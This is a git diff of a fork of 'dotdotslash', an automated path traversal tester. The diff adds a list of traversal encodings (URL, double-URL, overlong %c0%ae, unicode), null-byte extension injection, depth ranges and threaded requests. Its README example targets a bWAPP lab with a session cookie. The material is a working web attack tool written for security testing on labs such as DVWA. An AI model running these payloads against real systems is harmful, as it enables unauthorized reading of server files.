diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..d927223 --- /dev/null +++ b/.gitignore @@ -0,0 +1,8 @@ +# ignore env dir +env/ + +# ignore every cursor plan files with prefix cp_* +cp_*.md + +# ignore pychache +__pycache__/ \ No newline at end of file diff --git a/README.md b/README.md index a48fe58..96421de 100644 --- a/README.md +++ b/README.md @@ -5,6 +5,7 @@ An tool to help you search for Directory Traversal Vulnerabilities Platforms that I tested to validate tool efficiency: * [DVWA](https://github.com/ethicalhack3r/DVWA) (low/medium/high) * [bWAPP](http://www.itsecgames.com/) (low/medium/high) +* [Portswigger](https://portswigger.net/web-security/all-labs#path-traversal) # Screenshots @@ -28,12 +29,11 @@ This tool was made to work with Python3 ``` > python3 dotdotslash.py --help -usage: dotdotslash.py [-h] --url URL --string STRING [--cookie COOKIE] - [--depth DEPTH] [--verbose] +usage: dotdotslash.py [-h] --url URL --string STRING [--cookie COOKIE] [--depth DEPTH] [--min-depth MIN_DEPTH] [--max-depth MAX_DEPTH] [--verbose] [--extension EXTENSION] [--lightweight] -dot dot slash - A automated Path Traversal Tester. Created by @jcesrstef. +dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef, ByteMastermind's fork -optional arguments: +options: -h, --help show this help message and exit --url URL, -u URL Url to attack. --string STRING, -s STRING @@ -41,19 +41,31 @@ optional arguments: --cookie COOKIE, -c COOKIE Document cookie. --depth DEPTH, -d DEPTH - How deep we will go? + How deep we will go? (backward compatibility, sets range 0 to depth) + --min-depth MIN_DEPTH + Minimum depth to test (use with --max-depth) + --max-depth MAX_DEPTH + Maximum depth to test (use with --min-depth) --verbose, -v Show requests + --extension EXTENSION, -e EXTENSION + File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times. + --lightweight, -l lightweight mode - group similar encodings instead of trying all combinations ``` Example: ``` python3 dotdotslash.py \ ---url "http://192.168.58.101/bWAPP/directory_traversal_1.php?page=a.txt" \ +--url "http://192.168.58.101/bWAPP/directory_traversal_1.php?page=FUZZ" \ --string "a.txt" \ ---cookie "PHPSESSID=089b49151627773d699c277c769d67cb; security_level=3" - +--cookie "PHPSESSID=089b49151627773d699c277c769d67cb; security_level=3" \ +-e ".png" -e ".jpg" \ +-v \ +-l \ +--min-depth 2 \ +--max-depth 5 ``` + # Let Me Know What You Think * My Twitter: https://twitter.com/jcesarstef * My Linkedin: https://www.linkedin.com/in/jcesarstef diff --git a/dotdotslash.py b/dotdotslash.py index 1c68f9d..f1230ba 100644 --- a/dotdotslash.py +++ b/dotdotslash.py @@ -2,10 +2,25 @@ import re import argparse import sys -from match import dotvar, match, befvar +import concurrent.futures import requests from http.cookies import SimpleCookie -import time +from match import dotvar, match, befvar + +# encoding variants for lightweight mode - each represents a different encoding method +lightweight_encodings = { + 'plain': '../', + 'url_encoded': '%2e%2e%2f', + 'double_url_encoded': '%252e%252e%252f', + 'backslash': '..\\', + 'backslash_url_encoded': '%2e%2e%5c', + 'backslash_double_url_encoded': '%252e%252e%255c', + 'unicode_slash': '..%u2215', + 'unicode_full': '%uff0e%uff0e%u2215', + 'c0_encoding': '%c0%ae%c0%ae%c0%af', + 'double_c0_encoding': '%25c0%25ae%25c0%25ae%25c0%25af', + 'percent_encoding': '%%32%65%%32%65%%32%66' +} class bcolors: HEADER = '\033[95m' @@ -19,83 +34,156 @@ class bcolors: def codecollors(code): if str(code).startswith("2"): - colorized = "\033[92m[" + str(code) + "] \033[0m" - return colorized + return "\033[92m[" + str(code) + "] \033[0m" elif str(code).startswith("3"): - colorized = "\033[93m[" + str(code) + "] \033[0m" - return colorized + return "\033[93m[" + str(code) + "] \033[0m" elif str(code).startswith("4"): - colorized = "\033[91m[" + str(code) + "] \033[0m" - return colorized + return "\033[91m[" + str(code) + "] \033[0m" elif str(code).startswith("5"): - colorized = "\033[94m[" + str(code) + "] \033[0m" - return colorized + return "\033[94m[" + str(code) + "] \033[0m" else: - return code - + return str(code) class request(object): def query(self, url, cookie=None): + cookies = None if cookie: rawdata = "Cookie: " + cookie - cookie = SimpleCookie() - cookie.load(rawdata) - - req = requests.get(url, cookies=cookie, allow_redirects=False) + cookies = SimpleCookie() + cookies.load(rawdata) + req = requests.get(url, cookies=cookies, allow_redirects=False) self.raw = req.text self.code = req.status_code +def process_task(fullrewrite, regex_pattern, cookie, verbose): + req = request() + req.query(fullrewrite, cookie=cookie) + catchdata = re.findall(str(regex_pattern), req.raw) + output_lines = [] + if catchdata: + output_lines.append(codecollors(req.code) + fullrewrite) + output_lines.append(" Contents Found: " + str(len(catchdata))) + else: + if verbose: + output_lines.append(codecollors(req.code) + fullrewrite) + for i, match_item in enumerate(catchdata): + if i >= 7: + output_lines.append(" [...]") + break + output_lines.append(" " + bcolors.FAIL + str(match_item) + bcolors.ENDC) + return "\n".join(output_lines) -def forloop(): +def forloop(arguments): if str(arguments.string) not in str(arguments.url): - sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + " not found in url: " + bcolors.FAIL + arguments.url + "\n") - - count = 0 - duplicate = [] - while (count != (arguments.depth + 1)): + sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + + " not found in url: " + bcolors.FAIL + arguments.url + "\n") + + duplicate = set() + for count in range(arguments.min_depth, arguments.max_depth + 1): print("[+] Depth: " + str(count)) + tasks = [] for var in dotvar: for bvar in befvar: - for word in match.keys(): + for word, regex_pattern in match.items(): + # Build the rewrite using the given depth (count) value rewrite = bvar + (var * count) + word - fullrewrite = re.sub(arguments.string, rewrite, arguments.url) - + # Using re.sub (with re.escape for safety) to substitute the target string + fullrewrite = re.sub(re.escape(arguments.string), lambda m: rewrite, arguments.url) if fullrewrite not in duplicate: - req = request() - req.query(fullrewrite) - catchdata = re.findall(str(match[word]), req.raw) - if (len(catchdata) != 0): - #print(bcolors.OKGREEN + "\n[" + str(req.code) + "] " + bcolors.ENDC + fullrewrite) - print(codecollors(req.code) + fullrewrite) - print(" Contents Found: " + str(len(catchdata))) - else: - if arguments.verbose: - print(codecollors(req.code) + fullrewrite) - - icount = 0 - # Print match - for i in catchdata: - print(" " + bcolors.FAIL + str(i) + bcolors.ENDC) - icount = icount + 1 - if (icount > 6): - print(" [...]") - break - if arguments.verbose: - time.sleep(0) - duplicate.append(fullrewrite) - count += 1 - + duplicate.add(fullrewrite) + tasks.append((fullrewrite, regex_pattern)) + + # null byte injection when extension is provided + if arguments.extension: + for ext in arguments.extension: + null_byte_rewrite = bvar + (var * count) + word + "%00" + ext + null_byte_fullrewrite = re.sub(re.escape(arguments.string), lambda m: null_byte_rewrite, arguments.url) + if null_byte_fullrewrite not in duplicate: + duplicate.add(null_byte_fullrewrite) + tasks.append((null_byte_fullrewrite, regex_pattern)) + if tasks: + # Use a ThreadPoolExecutor to run requests concurrently. + with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: + futures = [executor.submit(process_task, t[0], t[1], arguments.cookie, arguments.verbose) for t in tasks] + for future in concurrent.futures.as_completed(futures): + result = future.result() + if result: + print(result) +def forloop_lightweight(arguments): + if str(arguments.string) not in str(arguments.url): + sys.exit("String: " + bcolors.WARNING + arguments.string + bcolors.ENDC + + " not found in url: " + bcolors.FAIL + arguments.url + "\n") + + duplicate = set() + for count in range(arguments.min_depth, arguments.max_depth + 1): + print("[+] Depth: " + str(count) + " (lightweight mode)") + tasks = [] + + # iterate through each encoding method + for encoding_name, var in lightweight_encodings.items(): + for bvar in befvar: + for word, regex_pattern in match.items(): + # use the same encoding for all path traversal sequences at this depth + rewrite = bvar + (var * count) + word + fullrewrite = re.sub(re.escape(arguments.string), lambda m: rewrite, arguments.url) + if fullrewrite not in duplicate: + duplicate.add(fullrewrite) + tasks.append((fullrewrite, regex_pattern)) + + # null byte injection when extension is provided + if arguments.extension: + for ext in arguments.extension: + null_byte_rewrite = bvar + (var * count) + word + "%00" + ext + null_byte_fullrewrite = re.sub(re.escape(arguments.string), lambda m: null_byte_rewrite, arguments.url) + if null_byte_fullrewrite not in duplicate: + duplicate.add(null_byte_fullrewrite) + tasks.append((null_byte_fullrewrite, regex_pattern)) + + if tasks: + with concurrent.futures.ThreadPoolExecutor(max_workers=20) as executor: + futures = [executor.submit(process_task, t[0], t[1], arguments.cookie, arguments.verbose) for t in tasks] + for future in concurrent.futures.as_completed(futures): + result = future.result() + if result: + print(result) if __name__ == '__main__': - parser = argparse.ArgumentParser(description='dot dot slash - A automated Path Traversal Tester. Created by @jcesrstef.') + parser = argparse.ArgumentParser(description='dot dot slash - An automated Path Traversal Tester. Created by @jcesarstef, ByteMastermind\'s fork') parser.add_argument('--url', '-u', action='store', dest='url', required=True, help='Url to attack.') parser.add_argument('--string', '-s', action='store', dest='string', required=True, help='String in --url to attack. Ex: document.pdf') parser.add_argument('--cookie', '-c', action='store', dest='cookie', required=False, help='Document cookie.') - parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, default='6', help='How deep we will go?') + parser.add_argument('--depth', '-d', action='store', dest='depth', required=False, type=int, help='How deep we will go? (backward compatibility, sets range 0 to depth)') + parser.add_argument('--min-depth', action='store', dest='min_depth', required=False, type=int, help='Minimum depth to test (use with --max-depth)') + parser.add_argument('--max-depth', action='store', dest='max_depth', required=False, type=int, help='Maximum depth to test (use with --min-depth)') parser.add_argument('--verbose', '-v', action='store_true', required=False, help='Show requests') + parser.add_argument('--extension', '-e', action='append', dest='extension', required=False, help='File extension for null byte injection (e.g., ".png", ".txt"). Can be used multiple times.') + parser.add_argument('--lightweight', '-l', action='store_true', required=False, help='lightweight mode - group similar encodings instead of trying all combinations') arguments = parser.parse_args() + # determine depth range + if arguments.depth is not None: + if arguments.min_depth is not None or arguments.max_depth is not None: + sys.exit("cannot use --depth with --min-depth/--max-depth") + min_depth = 0 + max_depth = arguments.depth + elif arguments.min_depth is not None and arguments.max_depth is not None: + if arguments.min_depth < 0: + sys.exit("min-depth must be non-negative") + if arguments.max_depth < arguments.min_depth: + sys.exit("max-depth must be >= min-depth") + min_depth = arguments.min_depth + max_depth = arguments.max_depth + elif arguments.min_depth is not None or arguments.max_depth is not None: + sys.exit("both --min-depth and --max-depth must be specified together") + else: + # default behavior + min_depth = 0 + max_depth = 6 + + arguments.min_depth = min_depth + arguments.max_depth = max_depth + banner = "\ _ _ _ _ _ _ \n\ __| | ___ | |_ __| | ___ | |_ ___| | __ _ ___| |__ \n\ @@ -108,8 +196,11 @@ def forloop(): Created by Julio Cesar Stefanutto (@jcesarstef)\n\ \n\ Starting run in: \033[94m" + arguments.url + "\033[0m\n\ - \ " print(banner) - forloop() + + if arguments.lightweight: + forloop_lightweight(arguments) + else: + forloop(arguments)